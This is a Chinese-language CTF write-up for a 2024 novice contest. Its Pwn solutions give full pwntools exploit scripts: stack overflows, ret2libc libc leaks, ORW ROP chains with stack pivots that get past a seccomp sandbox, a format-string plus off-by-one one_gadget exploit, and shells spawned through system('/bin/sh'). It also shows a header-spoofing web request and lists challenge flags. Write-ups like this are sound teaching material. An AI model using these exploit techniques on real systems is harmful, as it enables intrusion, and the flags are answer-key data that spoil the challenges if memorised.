这是2024年11月份的一场新生赛,Pwn题的质量还不错,学到了一些东西。
WriteUp
Pwn
Netcat
nc 签到
girlfriend
main 函数里有比对 admin,还发现 s1 在 buf 的范围内,可以在输入的时候控制 s1 为 admin。
vuln 函数可以栈溢出,for 循环总共 8 次,在第八次输入时可以覆盖返回地址;0-5 是数组 v1,6 是 rbp,7 是返回地址;值得一提的是 i 是在 v1 的范围内,因此输入的值要合理。
有后面函数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process('./pwn')
shell = 0x40121B
payload = b'a'*(0x30-0x8) + b'admin' p.recvuntil("first i need your team id") p.send(payload)
for i in range(7): payload = b'5' p.recvuntil("birthday\n") p.sendline(payload)
p.recvuntil("birthday\n") p.sendline(b'4198939')
p.interactive()
|
ez_game
这题是一个伪随机数,总共需要跑 20001 次,最开始的想法是栈溢出控制 seed 的值,但是在循环里面没处理好;后面的做法是先跑 20001 次随机数存到列表中,然后连上远程发送列表里的随机数。
这里我给出了两个 exp,第一个是先跑随机数,第二个是栈溢出控制随机数。
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * from ctypes import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
libc = cdll.LoadLibrary('./libc.so.6')
seed = 1 libc.srand(seed) random = [] for i in range(20001): random.append(libc.rand() % 7 + 1)
p = remote('27.25.151.12', 31338)
p.recvuntil("Enter your username: ") p.sendline(b'1')
for i in random: p.sendline(str(i))
p.interactive()
|
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * from ctypes import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
libc = cdll.LoadLibrary('./libc.so.6')
p = process("./pwn")
p.recvuntil("Enter your username: ") payload = b'a'*0x190 + p64(0) p.sendline(payload)
libc.srand(0) for i in range(20001): res = libc.rand() % 7 + 1 p.sendline(str(res).encode())
p.interactive()
|
ret2orw
vuln 函数有栈溢出
开了沙箱禁用 execve,考虑使用 open、read 和 write 读取 flag。
我们在 vuln 泄露出 libc 之后返回到 main 函数,然后构造一个大的 read,并栈迁移到 bss 段,最后布置 orw 的 rop 链读取 flag,这里构造 read 是担心 0x100 字节不足以布置 orw 的 rop 链。
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn') p = remote('27.25.151.12', 25636) libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x4012F2 bss = 0x404060+0x400 bss1 = 0x404060+0x700 pop_rdi = 0x4012ce pop_rbp = 0x4011dd leave_ret = 0x40129f ret = 0x40101a
payload = b'a'*0x20 + p64(0) payload += p64(pop_rdi) +p64(puts_got) payload += p64(puts_plt) + p64(main) p.recvuntil("oh,what's this?\n") p.sendline(payload) puts_addr = u64(p.recv(6).ljust(8, b'\x00')) success('puts_addr:{}'.format(hex(puts_addr)))
libc_base = puts_addr - libc.sym['puts'] success('libc_base:{}'.format(hex(libc_base))) open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] pop_rsi = libc_base + 0x16333a pop_rdx = libc_base + 0x904a9
payload = b'a'*0x28 payload += p64(pop_rdi)+ p64(0) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x500) + p64(0) payload += p64(read_addr) payload += p64(pop_rbp) + p64(bss) + p64(leave_ret) p.recvuntil("oh,what's this?\n") p.sendline(payload)
payload = b'./flag\x00\x00' payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) + p64(0) payload += p64(open_addr) payload += p64(ret)
payload += p64(pop_rdi) + p64(3) payload += p64(pop_rsi) + p64(bss1) payload += p64(pop_rdx) + p64(0x30) + p64(0) payload += p64(read_addr) payload += p64(ret)
payload += p64(pop_rdi) + p64(bss1) payload += p64(puts_plt) sleep(0.2) p.sendline(payload)
p.interactive()
|
实际上 0x100 字节刚刚好能够进行栈溢出并构造 orw 的 rop 链,因此可以不用进行栈迁移。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn') p = remote('27.25.151.12', 24981) libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x4012F2 read = 0x4012AD bss = 0x404060+0x400 pop_rdi = 0x4012ce
payload = b'a'*0x20 + p64(0) payload += p64(pop_rdi) +p64(puts_got) payload += p64(puts_plt) + p64(main) p.recvuntil("oh,what's this?\n") p.sendline(payload) puts_addr = u64(p.recv(6).ljust(8, b'\x00')) success('puts_addr:{}'.format(hex(puts_addr)))
libc_base = puts_addr - libc.sym['puts'] success('libc_base:{}'.format(hex(libc_base))) puts = libc_base + libc.sym['puts'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] pop_rsi = libc_base + 0x16333a pop_rdx = libc_base + 0x904a9
payload = b'a'*0x28 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40) + p64(0) payload += p64(read_addr)
payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) + p64(0) payload += p64(open_addr)
payload += p64(pop_rdi) + p64(3) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40) + p64(0) payload += p64(read_addr)
payload += p64(pop_rdi) + p64(bss) payload += p64(puts_plt)
p.recvuntil("oh,what's this?\n") p.send(payload) sleep(0.1) p.send('./flag')
p.interactive()
|
小蓝鲨stack
main 函数存在栈溢出
gdb 调试,在 main 函数执行到 ret 之后会进入 __libc_start_main 函数,然后执行 exit 退出。
我们可以在 libc 中找到 call exit
这个位置,修改返回地址的最后一个字节为 0x7c,使得程序能够重新执行 main 函数,同时也会泄露出 libc。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process('./pwn1')
libc = ELF('./libc-2.31.so')
main = 0x4011DB pop_rdi = 0x401293 ret = 0x40101a
payload = b'a'*0x20 + b'b'*8 + p8(0x7c) p.send(payload) p.recvuntil(b'b'*8) addr = u64(p.recv(6).ljust(8, b'\x00')) success('addr:{}'.format(hex(addr)))
libc_base = addr - 0x2407c success('libc_base:{}'.format(hex(libc_base))) system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) + p64(0) p.sendline(payload) p.recv()
p.interactive()
|
看了其他师傅的 wp, 由于这道题没有开 pie ,所以实际上也是 ret2libc 的板子题,只不过需要多用几次 ret 来平衡堆栈。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process('./pwn1')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] main = 0x4011DF pop_rdi = 0x401293 ret = 0x40101a
attach(p) payload = b'a'*0x28 payload += p64(pop_rdi) + p64(printf_got) payload += p64(ret) + p64(printf_plt) payload += p64(ret) + p64(main) p.send(payload) p.recvuntil(b'\x40') printf_addr = u64(p.recv(6).ljust(8, b'\x00')) success('printf_addr:{}'.format(hex(printf_addr)))
libc_base = printf_addr - libc.sym['printf'] success('libc_base:{}'.format(hex(libc_base))) system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x28 payload += p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) p.send(payload)
p.interactive()
|
0verf10w
程序保护全开
main 函数,存在一个格式化字符串漏洞
vuln 函数,溢出一个字节,所谓的 off-by-one 漏洞
泄露出栈地址、libc 地址和 canary,然后栈迁移执行 one_gadget。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process("./pwn1")
p.recvuntil("that?\n") p.sendline(b'a') p.recvuntil("gift!\n") payload = b'\x00'*8 + b'%15$p%11$p%9$p' p.send(payload) stack = int(p.recv(14), 16) success('stack:{}'.format(hex(stack))) libc_base = int(p.recv(14), 16) - 0x29d90 success('libc_base:{}'.format(hex(libc_base))) canary = int(p.recv(18), 16) success('canary:{}'.format(hex(canary)))
one_gadget = libc_base + 0xebc81 rbp = stack - 0x160 success('rbp:{}'.format(hex(rbp))) rbp1 = stack - 0xc8 success('rbp1:{}'.format(hex(rbp1)))
payload = p64(canary) + p64(rbp1) + p64(one_gadget) payload += p64(canary) + p8(rbp&0xFF) p.recvuntil("again?????\n") p.send(payload)
p.interactive()
|
Web
25时晓山瑞希生日会
http 修改请求头
请求如下
1 2 3
| User-Agent: Project Sekai X-Forwarded-For: 127.0.0.1 Date: Tue, 27 Aug 2024 10:00:00 GMT
|
Misc
小蓝鲨的签到02
010Editor 打开
ISCTF{blueshark!_@#2024$%^&*}
数字迷雾:在像素中寻找线索
随波逐流一把梭
ISCTF{+9qn1DKdun!glAK}
游园地1
ISCTF{湖北省_武汉市_江汉区_中山公园}